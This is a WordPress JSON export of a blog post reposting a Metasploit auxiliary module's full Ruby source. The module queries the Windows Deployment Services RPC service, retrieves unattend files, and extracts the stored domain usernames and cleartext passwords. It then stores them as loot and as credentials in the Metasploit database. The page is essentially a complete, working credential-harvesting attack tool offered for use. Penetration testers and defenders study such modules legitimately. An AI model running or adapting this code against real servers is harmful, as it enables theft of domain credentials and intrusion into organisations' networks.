{"id":59325,"date":"2024-09-01T03:00:05","date_gmt":"2024-09-01T00:00:05","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180944\/windows_deployment_services.rb.txt"},"modified":"2024-09-01T03:00:05","modified_gmt":"2024-09-01T00:00:05","slug":"microsoft-windows-deployment-services-unattend-retrieval","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microsoft-windows-deployment-services-unattend-retrieval\/","title":{"rendered":"Microsoft Windows Deployment Services Unattend Retrieval"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::DCERPC<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>DCERPCPacket = Rex::Proto::DCERPC::Packet<br \/>DCERPCClient = Rex::Proto::DCERPC::Client<br \/>DCERPCResponse = Rex::Proto::DCERPC::Response<br \/>DCERPCUUID = Rex::Proto::DCERPC::UUID<br \/>WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Microsoft Windows Deployment Services Unattend Retrieval&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module retrieves the client unattend file from Windows<br \/>Deployment Services RPC service and parses out the stored credentials.<br \/>Tested against Windows 2008 R2 x64 and Windows 2003 x86.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [ &#8216;Ben Campbell&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/msdn.microsoft.com\/en-us\/library\/dd891255(prot.20).aspx&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/rewtdance.blogspot.com\/2012\/11\/windows-deployment-services-clear-text.html&#8217;]],<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(5040),<br \/>])<\/p>\n<p>deregister_options(&#8216;CHOST&#8217;, &#8216;CPORT&#8217;, &#8216;SSL&#8217;, &#8216;SSLVersion&#8217;)<\/p>\n<p>register_advanced_options(<br \/>[<br \/>OptBool.new(&#8216;ENUM_ARM&#8217;, [true, &#8216;Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)&#8217;, false])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>begin<br \/>query_host(ip)<br \/>rescue ::Interrupt<br \/>raise $!<br \/>rescue ::Rex::ConnectionError =&gt; e<br \/>print_error(&#8220;#{ip}:#{rport} Connection Error: #{e}&#8221;)<br \/>ensure<br \/># Ensure socket is pulled down afterwards<br \/>self.dcerpc.socket.close rescue nil<br \/>self.dcerpc = nil<br \/>self.handle = nil<br \/>end<br \/>end<\/p>\n<p>def query_host(rhost)<br \/># Create a handler with our UUID and Transfer Syntax<\/p>\n<p>self.handle = Rex::Proto::DCERPC::Handle.new(<br \/>[<br \/>WDS_CONST::WDSCP_RPC_UUID,<br \/>&#8216;1.0&#8217;,<br \/>],<br \/>&#8216;ncacn_ip_tcp&#8217;,<br \/>rhost,<br \/>[datastore[&#8216;RPORT&#8217;]])<\/p>\n<p>print_status(&#8220;Binding to #{handle} &#8230;&#8221;)<\/p>\n<p>self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)<br \/>vprint_good(&#8220;Bound to #{handle}&#8221;)<\/p>\n<p>report_service(<br \/>:host =&gt; rhost,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:name =&gt; &#8220;dcerpc&#8221;,<br \/>:info =&gt; &#8220;#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services&#8221;<br \/>)<\/p>\n<p>table = Rex::Text::Table.new({<br \/>&#8216;Header&#8217; =&gt; &#8216;Windows Deployment Services&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Architecture&#8217;, &#8216;Type&#8217;, &#8216;Domain&#8217;, &#8216;Username&#8217;, &#8216;Password&#8217;]})<\/p>\n<p>creds_found = false<\/p>\n<p>WDS_CONST::ARCHITECTURE.each do |architecture|<br \/>if architecture[0] == :ARM &amp;&amp; !datastore[&#8216;ENUM_ARM&#8217;]vprint_status &#8220;Skipping #{architecture[0]} architecture due to adv option&#8221;<br \/>next<br \/>end<\/p>\n<p>begin<br \/>result = request_client_unattend(architecture)<br \/>rescue ::Rex::Proto::DCERPC::Exceptions::Fault =&gt; e<br \/>vprint_error(e.to_s)<br \/>print_error(&#8220;#{rhost} DCERPC Fault &#8211; Windows Deployment Services is present but not configured. Perhaps an SCCM installation.&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>unless result.nil?<br \/>loot_unattend(architecture[0], result)<br \/>results = parse_client_unattend(result)<\/p>\n<p>results.each do |result|<br \/>unless result.empty?<br \/>if result[&#8216;username&#8217;] and result[&#8216;password&#8217;]print_good(&#8220;Retrieved #{result[&#8216;type&#8217;]} credentials for #{architecture[0]}&#8221;)<br \/>creds_found = true<br \/>domain = &#8220;&#8221;<br \/>domain = result[&#8216;domain&#8217;] if result[&#8216;domain&#8217;]report_creds(domain, result[&#8216;username&#8217;], result[&#8216;password&#8217;])<br \/>table &lt;&lt; [architecture[0], result[&#8216;type&#8217;], domain, result[&#8216;username&#8217;], result[&#8216;password&#8217;]]end<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n<p>if creds_found<br \/>print_line<br \/>table.print<br \/>print_line<br \/>else<br \/>print_error(&#8220;No Unattend files received, service is unlikely to be configured for completely unattended installation.&#8221;)<br \/>end<br \/>end<\/p>\n<p>def request_client_unattend(architecture)<br \/># Construct WDS Control Protocol Message<br \/>packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)<\/p>\n<p>guid = Rex::Text.rand_text_hex(32)<br \/>packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)<\/p>\n<p># Not sure what this padding is for&#8230;<br \/>mac = [0x30].pack(&#8216;C&#8217;) * 20<br \/>mac &lt;&lt; Rex::Text.rand_text_hex(12)<br \/>packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)<\/p>\n<p>arch = [architecture[1]].pack(&#8216;C&#8217;)<br \/>packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)<\/p>\n<p>version = [1].pack(&#8216;V&#8217;)<br \/>packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)<\/p>\n<p>wdsc_packet = packet.create<\/p>\n<p>vprint_status(&#8220;Sending #{architecture[0]} Client Unattend request &#8230;&#8221;)<br \/>dcerpc.call(0, wdsc_packet, false)<br \/>timeout = datastore[&#8216;DCERPC::ReadTimeout&#8217;]response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)<\/p>\n<p>if (response and response.stub_data)<br \/>vprint_status(&#8216;Received response &#8230;&#8217;)<br \/>data = response.stub_data<\/p>\n<p># Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000<br \/>op_error_code = data.unpack(&#8216;v*&#8217;)[19]if op_error_code == 0<br \/>if data.length &lt; 277<br \/>vprint_error(&#8220;No Unattend received for #{architecture[0]} architecture&#8221;)<br \/>return nil<br \/>else<br \/>vprint_status(&#8220;Received #{architecture[0]} unattend file &#8230;&#8221;)<br \/>return extract_unattend(data)<br \/>end<br \/>else<br \/>vprint_error(&#8220;Error code received for #{architecture[0]}: #{op_error_code}&#8221;)<br \/>return nil<br \/>end<br \/>end<br \/>end<\/p>\n<p>def extract_unattend(data)<br \/>start = data.index(&#8216;&lt;?xml&#8217;)<br \/>finish = data.index(&#8216;&lt;\/unattend&gt;&#8217;)<br \/>if start and finish<br \/>finish += 10<br \/>return data[start..finish]else<br \/>print_error(&#8220;Incomplete transmission or malformed unattend file.&#8221;)<br \/>return nil<br \/>end<br \/>end<\/p>\n<p>def parse_client_unattend(data)<br \/>begin<br \/>xml = REXML::Document.new(data)<br \/>return Rex::Parser::Unattend.parse(xml).flatten<br \/>rescue REXML::ParseException =&gt; e<br \/>print_error(&#8220;Invalid XML format&#8221;)<br \/>vprint_line(e.message)<br \/>return nil<br \/>end<br \/>end<\/p>\n<p>def loot_unattend(archi, data)<br \/>return if data.empty?<br \/>p = store_loot(&#8216;windows.unattend.raw&#8217;, &#8216;text\/plain&#8217;, rhost, data, archi, &#8220;Windows Deployment Services&#8221;)<br \/>print_good(&#8220;Raw version of #{archi} saved as: #{p}&#8221;)<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def report_creds(domain, user, pass)<br \/>report_cred(<br \/>ip: rhost,<br \/>port: 4050,<br \/>service_name: &#8216;dcerpc&#8217;,<br \/>user: &#8220;#{domain}\\\\#{user}&#8221;,<br \/>password: pass,<br \/>proof: domain<br \/>)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::DCERPCinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner DCERPCPacket = Rex::Proto::DCERPC::PacketDCERPCClient = Rex::Proto::DCERPC::ClientDCERPCResponse = Rex::Proto::DCERPC::ResponseDCERPCUUID = Rex::Proto::DCERPC::UUIDWDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Microsoft Windows Deployment Services Unattend Retrieval&#8217;,&#8216;Description&#8217; =&gt; %q{This module retrieves the client unattend file from WindowsDeployment Services RPC service and parses out the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59325","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59325","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59325"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59325\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59325"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59325"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}